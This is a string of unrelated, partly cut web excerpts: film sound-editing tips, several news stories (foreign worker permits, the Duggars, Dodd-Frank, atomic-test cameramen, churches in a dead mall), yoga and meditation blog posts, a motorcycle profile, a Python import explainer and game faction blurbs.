#19. Break your feature length project into 15-20 minute reels.
Don’t break your feature into scenes but into 15-20 minutes ‘reels’. Don’t forget to put Academy Leader on the head and tail of each reel and do not put any music cues bridging across reels. Timecode hour should match reel number. Reel 1 would be 01:00:00:00 timecode. Reel 2 would be 02:00:00:00 etc.
#20. Put your Sounds on Different Tracks
Before exporting the OMF, put all your production audio on the first tracks, followed by sound effects on their own tracks, followed by music. Do not mix production audio with sound effects or music. Keep them on separate tracks.
#21. Lock before Export
Export a Quicktime for each reel and label it as “NAME_Reel_vDATE_QT or OMF or GT (guide track) for example: IBE (stands for the name of the film In Between Engagements)_R1_v07_24_12_QT
The version date should match your final locked picture. If you make any changes after you’ve turned over this version to your sound editor, then you need to make new Quicktime files and new OMFs and new Guide Tracks with the NEW date.
#22. Export your OMF
When exporting your session as an OMF, check the boxes for “include levels” and “crossfade transitions.” Check with your sound company/person to see if they want 16 bit or 24 bit. 24 is preferable as is 48K.
If you’re NOT giving the sound editor all of the production audio files, then put at least 10 second handles as part of your OMF choices. If you are giving them the production audio, then two seconds is fine.
#23.Be willing to listen to new dialogue and sound effects.
We, as sound editors, are trying our best to make your film sound professional and we often may find a substitute line of dialogue to help fix a problem.
#24. Trust your sound editor.
And be available to come listen to playbacks. Better to adjust things in the editing room than on the high-priced dub stage.
#25. Give your sound editor Lots of love!
And food. And sleep time.
Keep this list in mind or share it with all the concerned players in your team. Below is Sampson’s talk, definitely worth listening, she has great humor and anecdotes to share on top of her knowledge and wisdom.
If you are a filmmaker, I would also recommend you to check ‘An Open Letter From Your Sound Department‘. It’s a letter written by a group of sound professional explaining how you can help them make your film better.
Thanks to Jonny Elwyn
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Labour spokesperson Gil McGowan says fast food chains are hiring unskilled foreign workers using loopholes in a process set up to fast-track highly-skilled workers. (CBC)
Documents reveal that more than half of the temporary foreign workers hired through a new fast-track process to bring in highly-skilled workers ended up working at fast-food restaurants and convenience stores, said Alberta Federation of Labour president Gil McGowan.
"It stretches the bounds of crediblity that companies like A&W, McDonalds would be hiring high-skilled workers," McGowan said.
The document obtained through an access-to-information request shows restaurants, stores and gas stations across the country were granted more than 2,400 guest worker permits under the Accelerated Labour Market Opinion process between April 25 and Dec. 18, 2012.
"These applications have been rubber stamped in as little as 10 days and the vast majority aren't subjected to any kind of review," McGowan said.
More than half of all workers, 54 per cent, who were hired under the Accelerated Labour Market Opinion during the period ended up in Alberta.
Of those, almost 60 per cent were flagged as inappropriate under the process, McGowan said.
He said it's clear to him companies are abusing the system, giving jobs to foreign workers that Canadians should have as the Harper government turns a blind eye.
"They're using the temporary foreign workers program to keep wages low," McGowan said.
The program allows employers to pay workers up to 15 per cent less than Canadians.
McGowan wants the Auditor General to open an investigation into the fast-track process.
A spokesperson told CBC News the Minister of Human Resources and Skills Development is concerned with the recent issues involving the Temporary Foreign Worker program and said officials will look into any evidence that the program is being misused.
A source confirms to PEOPLE that Anna Duggar flew to the faith-based rehabilitation center in Rockford, Illinois where Josh has been receiving treatment since publicly confessing his addiction to pornography and cheating on his wife.
Despite a difficult year for the Duggar family – just months before Josh’s admission in August, a 2006 police report revealed that he had also been accused of inappropriately touching five minor girls (including sisters Jill and Jessa) as a teen – the family did their best to have a good holiday without their eldest son.
Kamil Krzaczynski/INFPhoto
“Everyone just had fun and seemed to be high spirits, including Anna,” the source adds.
A plane owned by the Duggars left Illinois Tuesday night and arrived back in Arkansas shortly after 10 p.m., according to aviation records.
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Anna and Josh Duggar Kris Connor/Getty
While it’s unclear how long Josh will remain at Reformers Unanimous for his “long journey toward wholeness and recovery,” the holiday visit isn’t the first time he has seen members of his family in Illinois.
“God controls the weather,” Atanus said definitively in January. “God is angry. We are provoking him with abortions. We are provoking him with same-sex marriage, gay rights, civil unions.”
In November, Atanus will face Democratic Rep. Jan Schakowsky, who has been serving for the district that comprises Chicago’s mostly liberal northern suburbs since 1999. The last time the district was in Republican control was all the way back in 1949.
Listen to audio below, via The Daily Herald:
UPDATE (3:55pm ET): Since Illinois has open primaries in which candidates of any party can vote, it is possible that Democratic supporters of Schakowsky attempted to nominate Atanus because they believed she would be an easier candidate to defeat in the general election.
At least that’s what Atanus’ Republican opponent David Williams III thinks. He went on a mini-Twitter rant Wednesday, accusing Schakowsky of being “terrified” of a black Republican and accusing her of intentionally boosting Atanus.
I do believe @janschakowsky is terrified of a Black Republican. So sending your supporters to vote for my primary opponent won't work. — David Williams III (@DEWforCongress) March 19, 2014
It's pleasing enough to know that @janschakowsky was terrified of going against me. This fights continues on. — David Williams III (@DEWforCongress) March 19, 2014
I "lost" by 435 votes in my primary. Thanks @janschakowsky for sending your supporters to vote for my opponent. I am here and always will be — David Williams III (@DEWforCongress) March 19, 2014
[h/t Patheos]
[photo via The Daily Herald]
>> Follow Matt Wilstein (@TheMattWilstein) on Twitter
June 8 (UPI) -- The House on Thursday passed a bill to eliminate some of the reform regulations of the Dodd-Frank Act, the sweeping law put into place after the financial crisis.
House Resolution 10, or the Financial Creating Hope and Opportunity for Investors, Consumers and Entrepreneurs (CHOICE) Act of 2017, passed by a vote of 233-186 in the lower chamber Thursday afternoon. Eleven representatives did not vote.
Republican supporters of the bill claim it stifles small business and the domestic economy with too much regulation. Opponents chide the proposal as the "Wrong Choice Act" and say it's a handout to Wall Street and a disservice to normal investors.
The regulations of Dodd-Frank were enacted in 2010 by former President Barack Obama as a sweeping effort to put in place certain regulations that make another financial crisis less likely.
"The Financial Choice Act is a jobs bill," House Speaker Paul Ryan said. "It is why we were sent here, to look out for the people who work hard and do the right thing."
Though it passed the House Thursday, some lawmakers and experts don't believe it will be approved in its current form by the Senate, where the Republicans' majority is far slimmer. They say some provisions of the proposal, though, could make it through.
Thursday's vote went nearly straight down the House partisan line. No Democrats voted for the bill and just one Republican, Rep. Walter Jones, R-N.C., voted against it.
The CHOICE Act would shield some financial institutions from Dodd-Frank restrictions that limit risk-taking -- which was a major factor in the mortgage industry collapse that preceded the financial crisis and Great Recession. It would also change the way federal law deals with failing financial institutions, which some critics say again supports a "too big to fail" approach.
The bill would also weaken the Consumer Financial Protection Bureau and scrap the Labor Department's fiduciary rule that requires brokers to act in the best interest of their clients when giving investment advice.
"Instead of protecting consumers, Republicans choose to help those who try to cheat consumers," House Minority Leader Nancy Pelosi said Thursday. "Dems enacted the strongest consumer financial protections in history. We mustn't let the GOP roll back these safeguards."
Trump's administration has taken multiple steps since January targeting regulations contained in Dodd-Frank -- including a resolution in February to scrap another Dodd-Frank regulation intended to increase transparency and reduce corruption.
The first new parts of the 2010 law, which were completed last year under Obama's administration, are set to take effect Friday.
What is Kundalini Yoga? Rate this post Rate this post
Have you ever heard of Kundalini Yoga?
I haven’t. To tell you the truth, I thought Kundalini Yoga was just a name of the yoga studio I was going to. I had no idea it was an entirely different practice of yoga! It was my first time trying this type of yoga and I am so excited to tell you about it.
You are reading this right now, but I am writing it 10 minutes after the practice ended, Thursday at 1pm* (please see note below). The practice was only 45 minutes long and I figured it would be an ideal time frame for a quick yoga session during lunch time. I haven’t done yoga in months and I had been craving it. So I went to a Kundalini Yoga in the Loop lead by Hari Dev.
What is Kundalini Yoga?
Kundalini Yoga is the original of the twenty-two schools of yoga and it is called the “mother yoga.” It is also called “awareness yoga” or “consciousness yoga.”
This practice works on your entire nervous and glandular system. It is an effective way to both strengthen and stretch the muscles. The increased flexibility gained through Kundalini Yoga will help prevent injury and avoid pain. It also leads to an understanding of the mind/body connection. The meditations will improve your concentration and focus which improve your ability to function at your best. Finally, Kundalini Yoga leaves you feeling refreshed and attentive after each session indicating a stronger and more balanced immune and nervous system.
(Information taken from a sheet I received in the beginning of class, Shakta Kaur)
How does the practice look like?
The Kundalini Yoga practice overall was a completely different set up than what I’m used to with any other yoga. There are five defined stages in the practice, all of which are different from one another – all of which are very effective to feeling more in touch with yourself.
The class begins with chanting of a mantra three times in order to tune in.
“Ong Namo Guru Dev Namo” –
I call upon the Divine Creative wisdom of the Infinite
Then begins the main “kriya” (set of Kundalini Yoga exercises). Each exercise lasts about 3-5 minutes. The kriya rejuvenates a component of the mind/body/spiritual system. It could be a particular muscle group, glandular system, nervous system, organs, or mind. I think we did 4 or 5 exercises and although they seem extremely easy to do if you watch someone do it, they are actually quite challenging. Not everything that looks simple is easy. Some of the exercises also involved chanting.
Deep relaxation follows the kriya. This involved laying down with eyes closed and deeply relaxed. That’s when the gong started being… gonged? It was the most unbelievable sound I’ve heard. I could hardly believe it came from a gong. It was peaceful but also intense. It was full of energy but also serene. The vibrations were felt by your body and my mind was actually visualizing some interesting things during this part to go along with the gong waves.
Meditation follows the relaxation. We did a chanting that was more like singing a song that lead to meditation. I am not a meditation pro, I’ve maybe done it once or twice before but I always want to do it more. This did not even feel like meditation but it flooded me with a lot of feelings, emotions, along with a sense of peace and joy. My eyes actually slightly welled up with tears that I fought back – I wasn’t gonna be this weirdo that cries for no reason. We got to sing along to a beautiful that was just a mantra repeated over and over. It was a beautiful sound and I really enjoyed being able to sing along with it.
The closing ends the class. After loosening the muscles and raising the energy, you begin to project that feeling of vitality to others by closing with a blessing. This blessing was also done in a song and we were able to sing along if we knew the words. I didn’t so I didn’t sing but I listened with my eyes closed.
How I feel after Kundalini Yoga practice?
I feel peaceful. I feel serene. I feel cleansed. It’s amazing. 45 minutes of yoga left me feeling like I just did a hot yoga session for an hour and a half but without the profuse sweating or any preparing or changing afterwards. There was no sweat. There was no hassle. I didn’t even have to put my hair up in a ponytail. My makeup is still intact. But I feel like I am a lot more in touch with my soul. I was going to say universe, but that’s not really it – it’s the soul. I feel it tingling around my body still. It’s a feeling you wouldn’t otherwise feel without the practice, I think.
Note: So this post got lost in the depths of my drafts and I just realized I never published this! Well, this was actually written over half a year ago (!), but the thoughts are still relevant so yeah 😉 Just thought I would share.
Questions for you:
Have you ever heard of / tried Kundalini Yoga?
What is your favorite type of yoga?
More importantly, volunteer programs could simultaneously enhance society and the health of a large segment of people. But there is an important wrinkle in applying this information.
After meeting Konrath recently to collaborate, Kim learned of one of her prior studies, the results of which concerned him. In an observational study, she had found that people who volunteered for “self-oriented” motives like “I need to get away from my problems” had a mortality risk that was similar to non-volunteers. As Kim explains, “Only the people who were doing it for more outward reasons–compassion for others–had reduced rates of mortality.”
“Before seeing that study, I thought it would be interesting if everyone (who has the time and financial resources to do so) were encouraged to volunteer,” Kim said. “It would help society, people’s health, and also reduce national health-care costs. But I guess people would have to have the right motives for this to work out.”
So that suggests that a sense of purpose is playing a role in this effect?
“I think so. Another thing it suggests is that if people start prescribing volunteering for better health, it might not work, because their motives might matter.”
So if I write about this, and people who volunteer start to be motivated by their own health concerns, is that ruining this effect for them?
“Yep, this whole project, I was thinking about that, too.”
So, don’t volunteer for your own health. In fact, now knowing that volunteering may be beneficial to your health, I hope I haven’t robbed you of that benefit. Try and forget everything you’ve just read.
Still, even if you go into volunteering for the wrong reasons, it’s hard to stay self-interested once you’re immersed in a cause and woven into the lives of people who need you.
Published: Thursday April 3, 2008
The Freight Transport Association has welcomed today's publication of the All Party Parliamentary Cycling Group's ‘Get Britain Cycling’ report but the FTA said it believes that some measures are "impractical."
Christopher Snelling, Head of Urban Logistics Policy at the FTA, said “cycling is an efficient use of road space. If more car journeys were done by bike that would free up more space for those who have no alternative, such as freight."
FTA believes the report's recommendation that HGVs should be restricted at busy times is not practical and economically damaging. At the parliamentary launch for the report, roads safety minister Stephen Hammond said:
"HGVs are killing cyclists in cities. There was another death in Victoria just the other day. We cannot continue doing nothing about this problem."
He revealed that the DfT and Transport for London had created a working group looking at the issue.
Snelling said “busy routes are busy for a reason – they are the economic lifeblood of our urban areas. To prevent lorries using them would add to the difficulty and cost of running shops, offices and other businesses in our towns and cities.
"Just because a route is busy does not automatically mean it is dangerous. It is strange to be talking about introducing restrictions when it is public regulations that currently prevent lorries making deliveries at night, forcing deliveries into the first part of the day just when the most cyclists are on the road.
"If these deliveries don’t happen when customers need them; businesses will close and cities will suffer.”
FTA said it supports junction redesign and improved cycling infrastructure.
Snelling said: "Drivers and cyclists both have their part to play and the recommendations in the report for more training and better awareness on both sides are supported. The industry looks forward to continuing its work with cyclists to make our roads safer places for everyone.”
Back in 1975, Jordan’s grandfather happened across a 1970 Triumph TR6R for the sum of $300 ($2,025 in today’s dollaridoos) in the country town of Inverell NSW, little did he know this would become a bike that would be passed down the generations. “My Dad then had the bike in Sydney while he was a young fella through the late 70’s, this is when most of the mods took place. There’s not much left on it that’s stock, as he blew a con rod out the side of the cases, replacing them with a set of ’68 tr6p cases.” When you’ve got a bike that’s been owned and modified by 3 generations, that’s a machine that’s going to be something special no matter how it looks or rides – though fortunately for us this one is bloody immaculate.
The bike has undergone a myriad of changes since it’s humble country town beginnings, but we’ll do our best to cover them without tumbling too far down the rabbit hole. At the rear end we’ve got an M&F choppers bolt on hard tail made and bought at their Bondi shop back in ’78. “The forks and front wheel were sourced off a Norton Commando and they have 2″ over stock length legs in them, they were 6″ over but in the last make over we chopped 4″ off them. The seat is Bates seat, typical of the ‘70’s chopper and bobber scene. The fuel tank is off a BSA Bantom and again in the last make over, the centre was chopped out, narrowed and welded back together. The oil tank is off a Pre-unit Triumph and mounted on the back of the down tube of the frame with custom brackets.”
Now to get to the engine, the heart of this ‘cycle has come a long way from the 650cc she started life with. “It now runs a Bonneville head (Twin carbi) and a Joe Hunt Magneto. We also added some Waggot Cams, which was an Australian automotive engineering company that gained fame for the engines they produced for motor sport applications from the 1950s through to the 1970’s. The exhaust was made by dad and then chromed. It now has a Sonny Routt 750cc Big bore kit – Sonny was a hell of a drag racer in the 70’s with Twin Triumphs!”
“Local Moree fabricators The Partridge Brothers made the solid steel manifolds, along with some other parts such as the chain guard etc. The paint was done by one of dad’s old mates, while my mate Mick and I finished it off by gold leafing the Triumph logo on the tank. As it is now, I feel it’s a pretty good example of ‘70’s chopper nostalgia but in really good running order. It starts first kick and with the racing heritage of the engine components its a beauty to ride, especially having a hard tail and being so raw, you can feel all the characteristics of the machine and it responds to the riders inputs amazingly.”
It’s not just bikes that Jordan is giving a revival to, but also classic style moto wear and merch with Hunt and Co. After selling all his bikes (bar the Triumph) Jordan headed off to waffle about Europe for a year back in 2013 where he would go to as many motorcycle events as he could, from the Isle of Man TT to Sideburn’s Dirt Quake. After returning home, the need for speed machines was still in his veins.
“Between my brother and I, we have competed in MX Nationals, Aus Supercross championships, Finke Desert Race, been on Carey Harts’ Hart and Huntington freestyle tour and also raced in the USA. It kind of felt like that part of my life was pretty fur-filed, and I wanted to make something where I wasn’t spending all my spare change on. This is how Hunt & Co. was born. It was something I created to bring my mates together to help make some cool and creative content, hit up events and make some awesome gear with a laid back feel.”
Jordan’s intention with Hunt & Co.’s gear would be to bring a timeless aesthetic feel to motocross gear, which is represented in their awesome moto jerseys. “I also wanted to bring a more youthful feel to the road scene, I feel my mates and I are skilled and capable on the modern bikes but really dig the style of older stuff, more so the ‘60’s and ‘70’s eras.” Nostalgia and nods to the past are something that just about every apparel and bike brand are dipping their toes into these days, with varied and creative results. It’s a mixing pot of old with new, creating it’s own unique aesthetic.
“We want to push the brand further and we want to build more bikes with the balance of speed and style. The brand at this stage is growing organically, but as we get through some of the early adult things we’re told to knock over first we’ll be able to push Hunt & Co. harder and basically make awesome products and insanely cool project bikes! We’d also like to get more involved in events, and to open a flagship store is also a dream. The passion for motorcycles will always be there so even though we aren’t making huge leaps just yet, I can’t see Hunt and Co. dying off any time soon.
First off, I don't think that you should do either of these even if (and when) they work, for os or any other module. This is a stylistic thing, but when doing imports I prefer to be explicit about what other modules my code uses. Also, I don't like clever tricks like this because they run a high risk of confusing people who read my code, and this includes me in the future if I've forgotten this bit of arcane trivia by then.
Both of these clearly work for os . But are they guaranteed to work in general? The answer is half yes and half no.
As sort of discussed last time, ' import x.y; x.whatever ' is guaranteed to work because the semantics of useful multi-level imports require it. ' import x.y ' is pointless if you cannot resolve x.y.whatever afterwards, and in order to do that you must have ' x ' in your namespace after the dust settles. So Python gives it to you.
A more interesting question is whether ' import x; x.y.whatever ' is guaranteed to work. The short answer is no, although I suspect that it often will for relatively small modules. First off, modules that are implemented as single Python files (as with os ) have to make this work; as discussed last time, x.y must be defined after x.py has finished executing as part of the import process, because there is no other way for the interpreter to find the x.y module.
For modules that are implemented as directories (with submodules as either files or subdirectories) there is no requirement that the module's __init__.py import the y submodule for you. The tradeoff is that importing submodules automatically makes ' from x import * ' work as people expect, at the cost of loading potentially large submodules that people are not going to use; the larger and less used your set of submodules is, the more this matters. So you can sensibly have a module that requires explicit imports of submodules, and indeed there are modules in the Python standard library that work this way ( xml is one example).
Scroll through the Yankees’ roster, and Starlin Castro doesn’t fit the prototype fourth-place hitter, but Wednesday night’s game against the Orioles at Camden Yards was the second baseman’s 29th tilt hitting cleanup and the 19th straight time.
Aaron Judge, Matt Holliday and Gary Sanchez fit the bill more than Castro, whose first stab at hitting fourth was April 13, the day Greg Bird returned from a four-game absence and was dropped from third to sixth.
When Bird went on the disabled list in early May with a bruised right ankle, manager Joe Girardi used Castro fourth in six of eight games. Then starting on May 11, Castro became the full-time cleanup hitter. In 18 games since, Castro batted .264 (19-for-72) with a homer, seven RBIs, a .660 OPS and was 3-for-13 (.231) with runners in scoring position. Overall, Castro started Wednesday night’s game batting .322 (seventh in the AL) with seven homers and 28 RBIs.
With Bird starting a minor league rehab Thursday night for Single-A Tampa, he could be coming off the DL shortly. However, it’s unlikely the lefty swinger would reclaim the No. 3 spot after not seeing major league pitching since April 30. And remember, Bird never hit third after April 7. After missing the next four games due to the foot problem and a stomach virus, Bird started 12 of 14 games and hit sixth, seventh and eighth and then hit the DL.
Holliday has hit fourth in 614 big league games and did for four games when Bird was hitting third, so he provides Girardi with a cleanup option if he chooses. Sanchez and Judge, who led the majors with 17 homers and tied for fourth in the AL with 37 RBIs and was second among outfielders in the AL All-Star voting, have the power cleanup hitters are known for.
“I don’t pay attention to what spot I hit,’’ Castro said. “I just want to be in the lineup every day. I don’t try to put pressure on myself.’’
see also Unmaking 25 years of Yankees lineups led to this juggernaut When Gene Michael was installed as Yankees general manager in...
Girardi drew on the 27-year-old Castro’s past when making the decision.
“I like the way he was swinging the bat and I thought about last year and I thought he had some really big RBIs,” Girardi said. “He finds a way to make contact. I could have put Matt Holliday there, too.”
Girardi isn’t ready to commit to Castro hitting in the spot that has been manned by Lou Gehrig, Reggie Jackson, Joe DiMaggio, Dave Winfield and Alex Rodriguez.
“I am not saying that is what I will do the whole year, but I like that Castro had played in big games, he had hit all over the lineup in his career and he had been in the All-Star Game three times,’’ Girardi said. “I thought he could handle the expectations.’’
With some clubs believing the best hitter should bat second — that played into the Yankees’ decision to hit Sanchez second based on his scorching final two months to last season — Castro eventually could land there should Bird return, stay healthy and be productive.
Such a move could push Sanchez to third, fourth or fifth and dump Holliday or Judge into the cleanup spot.
George Yoshitake's camera was clicking the entire time.
At 7 a.m. on July 19, 1957, the cameraman was standing with a small group of nuclear scientists on the Yucca Flat test site in the state of Nevada. A fighter jet had fired the missile at an altitude of five kilometers (3.1 miles), which was considered a safe distance from the ground. "I was busy behind the cameras," Yoshitake recalls. "Then I could see the flash go off out of the corner of my eye." He looked up. "There was this huge, doughnut-shaped cloud up in the sky where the blast when off."
The only thing protecting him from the bomb's fallout was his baseball cap.
Yoshitake is one of the few people who have stood directly underneath an exploding atom bomb and survived. The American was one of about 40 photographers and cameramen in the 1352nd Photographic Group of the US Air Force. Their mission was top secret. Today Yoshitake, now 82, can finally talk openly about his experiences.
The special unit's job was as fascinating as it was dangerous. To film and photograph the American nuclear tests in the Nevada desert and in the South Pacific, the foolhardy men had to place themselves within only a few kilometers of the centers of the explosions.
Images the Public Never Saw
Between 1947 and 1969, the material was edited to make more than 6,500 motion pictures in a secret film studio in the Hollywood Hills neighborhood of Los Angeles, just a few kilometers from the bright lights of Sunset Boulevard. The studio on Wonderland Avenue was called the Lookout Mountain Air Force Station. Using special film and high-speed cameras, cameramen and photographers used the film and photographic footage to artfully produce motion pictures and still photographs.
"Those men are great guys; they documented a period of time that was both unique and hopefully will never be repeated," says US documentary filmmaker Peter Kuran, 54, who is working on the story of the "atomic filmmakers." Kuran wants to preserve the historic film material for posterity. "The photos are the icons of an era," he says.
At the height of the Cold War, the superpowers embarked on a spectacular race to develop nuclear weapons. It was accompanied by an unparalleled propaganda war that involved large numbers of tests. By the time the international Treaty banning Nuclear Weapon Tests In The Atmosphere, In Outer Space And Under Water, or Nuclear Test Ban Treaty (NTBT), was signed in 1963, the Americans alone had already detonated more than 200 atomic and hydrogen bombs in the atmosphere. The goal, from the very beginning, was to create impressive images to convince politicians to approve ever-growing military budgets.
But the public never saw most of the images. "The work these people did was so secretive that nobody even knew who they were for a long time," says Kuran. It wasn't until the mid-1990s that the first photographs and films were declassified, thanks to the documentary filmmaker's relentless efforts. Kuran traveled throughout the United States, searched through archives and urged the US Department of Energy to release the films and photographs.
Copies of the material are now stored in gray cardboard boxes in the basement of Kuran's house in Vancouver, Washington. Nuclear weapons have become a central focus of his life. "When I was 15, I visited Japan with a YMCA (youth) group," he says. "We happened to be in Hiroshima on the anniversary of the bombing and I saw a film about the destruction of the city. I was the only American in a crowded room full of Japanese. Everyone was looking at me."
'It Was Liberating to Talk about It'
Kuran felt horrified and ashamed. Initially, he embarked on a career as a developer of special effects for productions like director George Lucas's "Star Wars" movies. But he couldn't forget his experience in Japan. More than three decades later, he coincidentally came into contact with those chroniclers of the nuclear tests who were still alive. The nuclear filmmakers were grateful for the attention. "We're finally getting recognized for some of the work we did," says Yoshitake. "It was liberating to be able to talk about it."
The cameraman now lives in Lompoc, California, about a three-hour drive north of Los Angeles. He is one of the last surviving members of the photographers' unit. Most of the others died long ago, many of cancer. Yoshitake says he is "more in contact with the widows."
Introduced by State Reps. Mark Finchem (R-11), Brenda Barton (R-6), Jay Lawrence (R-23), and Noel W. Campbell (R-1), House Bill 2190 (HB2190) would prohibit the state board of education from adopting or implementing Common Core standards in the state. It would also render null and void any previous implementations of these standards.
The bill passed successfully through the House Education Committee by a 5-2 margin on Feb. 18. Today, the House Rules Committee approved the bill with a 6-1 vote, sending the bill to the House floor for further consideration.
HB2190 would strike a dagger through the heart of the federally-recommended educational plan that some believe would jeopardize local control over schools. The bill reads, in part:
The state board of education is the sole authority for adopting academic content standards for this state’s public schools and shall adopt academic content standards of the state board’s choosing. An official of this state, whether appointed or elected, may not join any consortium, association or other entity on behalf of this state or a state agency if the membership would require this state to cede any measure of control over education, including academic content standards and assessments of those standards.
The bill also contains provisions pertaining to revisions of the state academic content standards. In which the state board of education must hold a public meeting in each congressional district prior. There is also language specifically stating that a school district, school or charter school is not required to use any statewide academic standards adopted by the state board of education as a condition for approval to operate or for receiving state monies.
Rejecting nationalized education standards is the first steps toward bringing true academic choice, and freedom. Passage of this legislation would represent a positive step forward for the people of Arizona and a path for other states to follow.
ACTION STEPS
For Arizona: Take steps to support HB2190 HERE
On Sunday, May 31, 2015 at 1:50pm, Middleton Police officers responded to a report of a Robbery that had just occurred at the BP Gas station located at 6504 University Ave. The clerk was able to give a description of the suspect and the suspect’s vehicle. Officers responding to the scene observed the vehicle and a pursuit ensued. The suspect crashed the vehicle into a parked car on Voss Parkway and took off on foot. With the help of the Middleton Fire Department and the use of their Search and Rescue Drone, officers were able to take the suspect into custody.
Chief Aaron Harris with the Middleton Fire Department stated the Search and Rescue Drone was acquired through a private donation from a City of Middleton resident. Sgt. Terry Hanson approved the deployment of the Fire Department’s drone with wireless video and the suspect was found a short time later laying in the cattails in the water by Tiedemann’s Pond. Chief Harris was able to direct officers to the location of the suspect and the suspect was taken into custody.
Middleton Officers were assisted by the Middleton Fire Department, the Madison Police Department and the Dane County Sheriff’s Department. A reverse 911 alert was sent out to residents in the area to alert them of a robbery suspect in the area. This alert has been cancelled.
This case is still under investigation and there is no threat to the public at this time.
Meditation is important for all the human beings of the world. It has many forms and can be used by people of any age. It is not just used for calming mind and body but to increase confidence, discipline and sharpen memory of a person. It is considered as a journey that does not have a destination.
It is that sort of journey that enters into the depths of mind and heart to open oneself to a deep awareness. While doing meditation, it is essential for a person to stay focused. If a person would not be fully present than it means his/her body and mind are still working at that moment without external and internal directions.
Being present and focused means that the person would need to concentrate on a particular task or target and remove all the other thoughts and ideas from the mind.
Importance of Meditation for Trading
Meditation for trading is important a lot. It does not only increase the energy and positivity in a trader but also make them able to focus on their goals particularly. In this way, they are able to make money through trading expertly. There are many successful traders who do Meditation practice on daily basis to stay focused on trading.
There are some traders who believe that it is better to Practice trading instead of practice in Meditation for trading. But it is a wrong belief. Meditation matters a lot in trading so every trader must practice it on daily basis. If you are new to meditation then there is no need to freak out.
You just need to get in touch with a Meditation instructor and start practice right away. It would not only have a good impact on your trading but improve your Mental health as well.
Practicing Meditation
When a newbie is practicing meditation then usually many things come into the mind like “What type of changes will take place in the market?” However, it is significant to ignore all those thoughts and stay focus on one single thing that is “What Matters The Most?” of the trade.
You would have to experience many distractions like greed, fear as well as anxiety. These negative emotions can easily distort your awareness. So, it is essential to do meditation constantly and frequently. It will hone the appreciation for just “BEING” devoid of the objectives, efforts as well as routines. The main concept is to be aware and conscious of your external and internal environment by conceding to the moment and leave other things.
Perfect Way to Start Trading
Every trader must set a time for practicing meditation. Before starting trading, it is good to do meditation. It can easily align, stimulate, charge and revive your system. Therefore, you will be infused with the sharp sense of attention to what is important.
It is also a good thing to meditate at the end of the day to put off all the stress and negative emotions. A break of meditation between trading is also an awesome tool to maintain focus as well as balance for the day to weed out distractions and stay on task.
Be More Energetic & Active
Your trading needs the best of you. If you will be more energetic and active then you can easily do trading in an awesome way. Meditation in trading will develop patience in you and you will be able to deal with the loss.
Today, most of the place stands eerily empty, an abandoned expanse of intersecting concourses lined with shuttered storefronts.
Decorative fountains are bone dry. Flakes of peeling paint fall from high ceilings. An occasional structural creaking echoes in the silence.
But on Sunday mornings, there are voices, some coming from this corridor, some from that, voices of Christian praise, “Amens” and “Hallelujahs” rising from the remnants of a retail bazaar.
“He is your father!” shouts the Rev. Roscoe Heath from a pulpit in a former Lane Bryant store, now the home of New Praise Ministries. “You are a servant!”
Across the way, the Rev. K. Selessie Simmons is preaching up a storm in the former One Price Clothing outlet for women, now the Word of Faith Christian Center. “Am I helping anybody?” Simmons thunders over his flock. “Yes!” they shout. “Yes, Lord, Yes!”
New Praise and Word of Faith are two of 24 Christian congregations that rent empty storefront spaces in the moribund mall for Sunday worship and weekday Bible studies.
They are small congregations that can’t afford their own church buildings, so the mall offers them reasonable month-to-month leases — $500 to $1,000 — on spaces in which to sing and praise. For some, it’s a way to build their congregations and move on to their own buildings.
“I love the churches, and I’ll take every one of them and more,” said mall manager Rosemary Luksic. “But I’m still looking for retail.”
The 687,000-square-foot shopping center opened in 1977 with nearly 100 stores. In 1998, Kaufmann’s department store shut its doors and moved to nearby Richmond Town Square, marking the beginning of the end.
By 2001, only 16 stores were hanging on, including a pizza shop. By 2003, the place had slid into extinction, leaving only a Dillard’s clearance store, which is still in business at the dead end of an empty corridor.
A men’s clothing store, called The World of Shirts, and a couple of boutiques are open for business. But it’s the two dozen churches that shoulder what’s left of the place. The first one moved in about seven years ago. Through word of mouth others followed.
The space housing Grace and Mercy Church of the Living God used to be a Foot Locker; God’s Way Gospel Church a Dollar Tree; House of Elohim in Jesus Christ was a Diamond’s Men’s Shop; Crown of Life a Fashion Bug.
Faith Baptist Church off the main concourse took over an empty beauty parlor.
“Now it’s the beauty of Jesus Christ,” said the Rev. Martha Forest, the church’s pastor. “Anyone who wants to feel the presence of the Lord can come here, not just in this space, but all over this great mall.”
The congregations have taken pride in their makeshift sanctuaries, installing pews, pulpits and risers and adorning their sacred spaces with artificial flower arrangements and Christian symbols.
Most have quality sound systems and musical instruments: drum kits, guitars, keyboards — the stuff of deliverance and praise.
On a recent Sunday, distant sounds — the shout of a preacher, the shake of a tambourine, the resolve of a chorus — could be heard echoing through a heavy silence.
Behind one door they sing, “I give myself away. .¤.¤.” Behind another, “Take me to the King. .¤.¤.”
Down near Dillard’s, the Rev. Wes Geiger of the Cleveland Revival Center Church is raising hell with the devil.
From the main corridor, Geiger’s booming voice, boosted with reverb by a cordless microphone, can be heard through a big display window draped with purple curtains. The place used to be a leather goods shop.
“The God of Abraham, Jacob and Isaiah,” Geiger bellows. “That’s the God that’s going to deliver me from the furnace.”
Down at the other end of the shiny terrazzo corridor, the Rev. Leo Ferguson, music director for Word of Faith Christian Center, is taking a break from his keyboard.
He comes all the way from Youngstown every Sunday for the service.
“When you come in here, you’re hearing the Gospel, you’re hearing the word of God,” says Ferguson. “We need more places like this. The churches are bringing this place back to life. That’s what Christ is all about.
“If I had LeBron James’ money, I’d renovate and resurrect this mall and call it Church City.”
The mall, which sits on acres of concrete alongside a stretch of Interstate 90 in Euclid, is owned by businessman Ted Lichko. The property is for sale, says manager Luksic, though she acknowledges, “It’s a tough time for retail now.”
So are the churches a godsend?
“We’re doing good,” she says. “My tenants like their spaces. It’s like their home. They love to come to their little churches.”
The mall employs a maintenance man and around-the-clock security guards. Live palm trees among the dead fountains still grow under skylights. And Luksic says she’s planning to plant some flowers.
“A little color always makes things look nice,” she says.
Worshipper Linda Moss of Euclid, who attends Word of Faith Christian Center, says her congregation would like to have its own building someday, but, for now, the mall will do.
“You can serve God anywhere,” she says. “And right now, this is where God has us.”
To reach this Plain Dealer reporter:momalley@plaind.com, 216-999-4893
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A shamanic group that mixes Slavic mythologies with weird psychoanalytic mind control techniques. Allied with forces of arctic nature they are believed to be operating out of the western reaches of the Soviet Union.
Consists of aristocratic Irish witches and subterranean faerie folk. Celtic folklore meets Arthurian legends with means of buffing themselves and transforming tiles into gates to the underground.
